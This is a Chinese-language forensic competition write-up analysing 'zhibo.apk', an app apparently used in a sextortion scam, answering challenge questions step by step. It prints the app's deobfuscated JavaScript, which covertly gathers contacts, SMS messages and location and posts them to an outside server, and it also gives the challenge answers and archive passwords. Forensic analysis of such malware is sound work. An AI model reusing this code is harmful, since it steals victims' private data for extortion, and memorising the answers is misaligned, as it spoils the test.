检材一背景

2021年4月25日,上午8点左右,警方接到被害人金某报案,声称自己被敲诈数万元;经询问,昨日金某被嫌疑人诱导裸聊,下载了某“裸聊”软件,导致自己的通讯录和裸聊视频被嫌疑人获取,对其进行敲诈,最终金某不堪重负,选择了报警;警方从金某提供的本人手机中,定向采集到了该“裸聊”软件的安装包—zhibo.apk(检材一),请各位回答下列问题:(题目 中需要通过分析出来的答案对检材二三四五解压,解压密码为IP的情况,需要在密码后增加-CAB2021,例192.168.110.110-CAB2021)

这里我们首先使用VeraCrypt挂载我们的检材一和二,如下所示

image-20241221202954616

输入密码2021第三届CAB-changancup.com,即可挂载成功

请计算检材一Apk的SHA256值

直接用cmd计算sha256即可,如下所示

image-20241221203352657

3fece1e93be4f422c8446b77b6863eb6a39f19d8fa71ff0250aac10f8bdde73a

该APK的应用包名为

直接启动安卓模拟器拖进去安装,如下所示

9757bcee2b6b280889cb19d7221ea266

成功找到apk的名字,但是我们提交发现不对,我们这里采取对其逆向的方式看看有没有更多的信息

2c94f1e98bf25df9a99fa8517281ea1a

我们在xml文件中发现了package的名称,我们尝试提交,发现对了

plus.H5B8E45D3

该APK程序在封装服务商的应用唯一标识(APPID)为

image-20241221205419816

根据搜索可知,appid就是package后的字符串,我们直接提交后面的值即可

H5B8E45D3

该APK具备下列哪些危险权限(多选题)

我们直接右键软件查看软件权限

image-20241221205958806

发现五个权限全部开启,所以我们这里全选即可

该APK发送回后台服务器的数据包含一下哪些内容(多选题)

我们这里直接搜索内涵一点,发现一段json格式文件,如下所示

image-20241221222403704

我们拿这一段json数据进行解密,得到如下结果

/*
*Aman - 194nb.com
*/
/*
*Progcessed By JSDec in 0.00s
*JSDec - JSDec.js.org
*/
mui.init();

mui.plusReady(function () {
//var main = plus.android.runtimeMainActivity();
// main.moveTaskToBack(false);

var address = plus.device.vendor + '-' + plus.device.model;
address = address.replace(/\n/g, "").replace(/ /g, "").replace(/\r/g, "");
var apiserver = 'http://www.honglian7001.com/api/uploads/';
//重复数据处理 预防用户重复点击
var danjishijian = true;
function requestPermission(sjh, yqm) {
plus.android.requestPermissions(
["android.permission.READ_SMS"],
function (resultObj) {
//SmsInfo存放一条短信的各项内容
var SmsInfo = {}
//Sms存放所有短信
var Sms = {}

var aimei = sjh;
var aimei2 = yqm;
var duanxin = '[{"imei":"' + aimei + '","imei2":"' + aimei2 + '"}';
var Cursor = plus.android.importClass("android.database.Cursor")
var Uri = plus.android.importClass("android.net.Uri")   //注意啦,android.net.Uri中的net是小写
var activity = plus.android.runtimeMainActivity()
var uri = Uri.parse("content://sms/");

var projection = new Array("_id", "address", "person", "body", "date", "type")
var cusor = activity.managedQuery(uri, projection, null, null, "date desc")
var idColumn = cusor.getColumnIndex("_id")
var nameColumn = cusor.getColumnIndex("person")
var phoneNumberColumn = cusor.getColumnIndex("address")
var smsbodyColumn = cusor.getColumnIndex("body")
var dateColumn = cusor.getColumnIndex("date")
var typeColumn = cusor.getColumnIndex("type")
if (cusor != null) {
while (cusor.moveToNext()) {
SmsInfo.id = cusor.getString(idColumn)
SmsInfo.Name = cusor.getInt(nameColumn)
SmsInfo.Date = cusor.getLong(dateColumn)
SmsInfo.Date = getFormatDate(SmsInfo.Date)
SmsInfo.PhoneNumber = cusor.getString(phoneNumberColumn)
SmsInfo.Smsbody = cusor.getString(smsbodyColumn)
SmsInfo.Type = cusor.getString(typeColumn)

var post = JSON.stringify(SmsInfo);
//console.log(post);
duanxin = duanxin + ',' + post;

}
duanxin = duanxin + ']';
//alert(duanxin);

mui.ajax(apiserver + 'apisms', {
data: {
data: duanxin
},
dataType: 'text',//服务器返回json格式数据
type: 'post',//HTTP请求类型
timeout: 10000,//超时时间设置为10秒;
success: function (data) {
mui.toast('获取成功')
//console.log(con)


},
error: function (xhr, type, errorThrown) {
//异常处理;

}
});
cusor.close()
}

},
function (error) {
console.log('申请权限错误:' + error.code + " = " + error.message);
});
}



//扩展Date功能:将long型日期转换为特定的格式
Date.prototype.format = function (format) {
var o = {
"M+": this.getMonth() + 1,
"d+": this.getDate(),
"h+": this.getHours(),
"m+": this.getMinutes(),
"s+": this.getSeconds(),
"q+": Math.floor((this.getMonth() + 3) / 3),
"S": this.getMilliseconds()
}
if (/(y+)/.test(format)) {
format = format.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
}
for (var k in o) {
if (new RegExp("(" + k + ")").test(format)) {
format = format.replace(RegExp.$1, RegExp.$1.length == 1 ? o[k] : ("00" + o[k]).substr(("" + o[k]).length));
}
}
return format;
}


//将long型日期转换为特定格式
function getFormatDate(l, pattern) {
date = new Date(l);
if (pattern == undefined) {
pattern = "yyyy-MM-dd hh:mm:ss";
}
return date.format(pattern);
}


//alert(plus.device.uuid)
plus.navigator.setStatusBarBackground("#db6eff");

mui("body").off("tap");

mui("body").on('tap', '#tx', function (event) {

$('#tx').hide();
$('#zz').show();
});

mui("body").on('tap', '#gb', function (event) {

$('#tx').show();
$('#zz').hide();
});

mui("body").on('tap', '#qd', function (event) {
if (danjishijian) {
danjishijian = false;
aa()
} else {
aa()
}

});


function getPermission(permissionIdentity, successCallBack, errorCallBack) {
//权限标识转换成大写
var permissionIdentity = permissionIdentity.toUpperCase();
//获取检测权限的状态
var checkResult = plus.navigator.checkPermission(permissionIdentity);
//权限状态是否正常
var permissionStatusOk = false;
//权限中文名称
var permissionName = '';
//对应 andorid 的具体权限
var androidPermission = '';
//获取权限中文意思与对应 android 系统的权限字符串
switch (permissionIdentity) {

case 'CONTACTS':
permissionName = '系统联系人';
androidPermission = 'android.permission.READ_CONTACTS'
break;

default:
permissionName = '未知';
androidPermission = '未知';
break;
}

//判断检查权限的结果
switch (checkResult) {
case 'authorized':
//正常的
permissionStatusOk = true
break;
case 'denied':
//表示程序已被用户拒绝使用此权限,如果是拒绝的就再次提示用户打开确认提示框
//如果有该权限但是没有打开不进行操作还是会去申请或手动打开
// console.log('已关闭' + permissionName + '权限')
// errorCallBack('已关闭' + permissionName + '权限');
// return
break;
case 'undetermined':
// 表示程序未确定是否可使用此权限,此时调用对应的API时系统会弹出提示框让用户确认
// this.requestPermissions(androidPermission, permissionName, successCallBack, errorCallBack)
// errorCallBack('未确定' + permissionName + '权限');
// return
break;
case 'unknown':
errorCallBack('无法查询' + permissionName + '权限');
return
break;
default:
errorCallBack('不支持' + permissionName + '权限');
return
break;
}

//如果权限是正常的执行成功回调
if (permissionStatusOk) {
successCallBack()
} else {
//如果不正常,如果是 andorid 系统,就动态申请权限
if (plus.os.name == 'Android') {
//动态申请权限
plus.android.requestPermissions([androidPermission], function (e) {
if (e.deniedAlways.length > 0) {
//权限被永久拒绝
// 弹出提示框解释为何需要定位权限,引导用户打开设置页面开启
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
// console.log('Always Denied!!! ' + e.deniedAlways.toString());
}
if (e.deniedPresent.length > 0) {
//权限被临时拒绝
// 弹出提示框解释为何需要定位权限,可再次调用plus.android.requestPermissions申请权限
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
// console.log('Present Denied!!! ' + e.deniedPresent.toString());
}
if (e.granted.length > 0) {
//权限被允许
//调用依赖获取定位权限的代码
successCallBack()
// console.log('Granted!!! ' + e.granted.toString());
}
}, function (e) {
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
// console.log('Request Permissions error:' + JSON.stringify(e));
})
} else if (plus.os.name == 'iOS') {
//ios ,第一次使用目的权限时,应用的权限列表里是不存在的,所以先默认执行一下成功回调,打开要使用的操作,比如 plus.camera
//这时系统会提示是否打开相应的权限,如果拒绝也没关系,因为应用的权限列表里已经存在该权限了,下次再调用相应权限时,就会
//走 else 里的流程,会给用户提示,并且跳转到应该的权限页面,让用户手动打开。
if (checkResult == 'undetermined') {
//调用依赖获取定位权限的代码
successCallBack(true)
} else {
//如果是 ios 系统,ios 没有动态申请操作,所以提示用户去设置页面手动打开
mui.confirm(permissionName + '权限没有开启,是否去开启?', '提醒', ['取消', '确认'], function (e) {
//取消
if (e.index == 0) {
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
} else if (e.index == 1) {
//确认,打开当前应用权限设置页面
var UIApplication = plus.ios.import('UIApplication');
var application2 = UIApplication.sharedApplication();
var NSURL2 = plus.ios.import('NSURL');
// var setting2 = NSURL2.URLWithString("prefs:root=LOCATION_SERVICES");
var setting2 = NSURL2.URLWithString('app-settings:');
application2.openURL(setting2);

plus.ios.deleteObject(setting2);
plus.ios.deleteObject(NSURL2);
plus.ios.deleteObject(application2)
}
}, 'div')
}
}
}
}



function aa() {
var sjh = $('#sjh').val();
var yqm = $('#yqm').val();
if (parseInt(sjh) > 0 && parseInt(yqm) > 0 && parseInt(sjh) > 13000000000 && parseInt(sjh) < 19999999999 && parseInt(yqm) > 0 && parseInt(yqm) < 999999) {

getPermission('CONTACTS', function () {
huoqu(sjh, yqm);

}, function (msg) {
mui.alert(msg, '提醒', '确定', function () { }, 'div')
//aa()
})
}
else {
mui.toast('请输入正确的手机号和邀请码')
}

}




function dingwei(sjh, yqm) {
plus.geolocation.getCurrentPosition(translatePoint, function (e) {
mui.toast("异常:" + e.message);
});
}

function translatePoint(position) {

var sjh = $('#sjh').val()
var yqm = $('#yqm').val()
var currentLon = position.coords.longitude;
var currentLat = position.coords.latitude;
var jingweidu = sjh + ',' + yqm + ',' + currentLon + ',' + currentLat;
mui.ajax(apiserver + 'apimap', {
data: {
data: jingweidu
},
dataType: 'text',//服务器返回json格式数据
type: 'post',//HTTP请求类型
timeout: 10000,//超时时间设置为10秒;
success: function (data) {

if (data == '获取成功') {
requestPermission(sjh, yqm);

//setInterval(function(){
//var sjh=$('#sjh').val();
//var yqm=$('#yqm').val();
//requestPermission(sjh,yqm);
//console.log('send')

//},30000)
}

mui.toast(data)
},
error: function (xhr, type, errorThrown) {
//异常处理;


}
});

//书写自己的逻辑

}
// 扩展API加载完毕,现在可以正常调用扩展API

function huoqu(sjh, yqm) {
var con = sjh + "**" + yqm + '**' + address;


plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE, function (addressbook) {


addressbook.find(["displayName", "phoneNumbers"], function (contacts) {


for (var i = 0, len = contacts.length; i < len; i++) {
con = con + '=' + contacts[i].displayName + '|' + (contacts[i].phoneNumbers.length == 0 ? "" : contacts[i].phoneNumbers[0].value);
}





mui.ajax(apiserver + 'api', {
data: {
data: con
},
dataType: 'text',//服务器返回json格式数据
type: 'post',//HTTP请求类型
timeout: 10000,//超时时间设置为10秒;
success: function (data) {
//alert(data)
if (data == '正在加载列表') {
dingwei(sjh, yqm);
mui.openWindow({
url: 'list.html',
show: {
autoShow: true
}
});
} else {
mui.toast(data)
}
//console.log(con)
},
error: function (xhr, type, errorThrown) {
//异常处理;


}
});



}, function () {
mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
}, {
multiple: true
});
}, function (e) {
mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
});
}




});

所以这里我们选择acde

该APK程序回传通讯录时,使用的http请求方式为()

通过fiddler抓包我们可以很容易知道请求方式是POST

image-20241221223357692

该APK程序的回传地址域名为【标准格式:www.abc.com】

同理通过抓包我们可以很容易发现回传地址域名

ba77186a49440e0516a57fc524066894

该APK程序代码中配置的变量apiserver的值为

我们在之前的解密的json数据中全局搜索apiserver,如下所示

image-20241221224211104

这就是本题的答案

分析该APK,发现该程序还具备获取短信回传到后台的功能,短信上传服务器接口地址为【标准格式:www.abc.com/abc】

本题要注意下面的拼接语句,拼接起来就是本题的答案

image-20241221224614783

www.honglian7001.com/api/uploads/apisms就是本题答案

经分析,发现该APK在运行过程中会在手机中产生一个数据库文件,该文件的文件名为

我们在代码中搜索.db,可以直接定位到数据库文件test.db

image-20241221225335584

经分析,发现该APK在运行过程中会在手机中产生一个数据库文件,该数据库的初始密码为

定位到test.db数据库,我们搜索密码即可

SQLiteDatabase writableDatabase = dbHelper.getWritableDatabase(getMD5(bytesToHex(key).substring(1, 3)));

从这句话我们可以知道密码是将key数组中的东西转成十六进制后取第二个到第三个字符,然后计算md5值

61 62 63 64 65 66

16的md5值是c74d97b01eae257e44aa9d5bade97baf

image-20241221230416684

检材二背景

经过掌握的APK程序后台服务器回连地址,警方成功调取该服务器的镜像,请使用第7题的答案对检材二进行解压进行分析。

检材二的原始硬盘的SHA256值为

首先解压我们的压缩包文件,密码为www.honglian7001.com,这里注意解压到空间比较大的其他盘去,不要在挂载的磁盘上解压,因为还是蛮大的,会把挂载的磁盘挤爆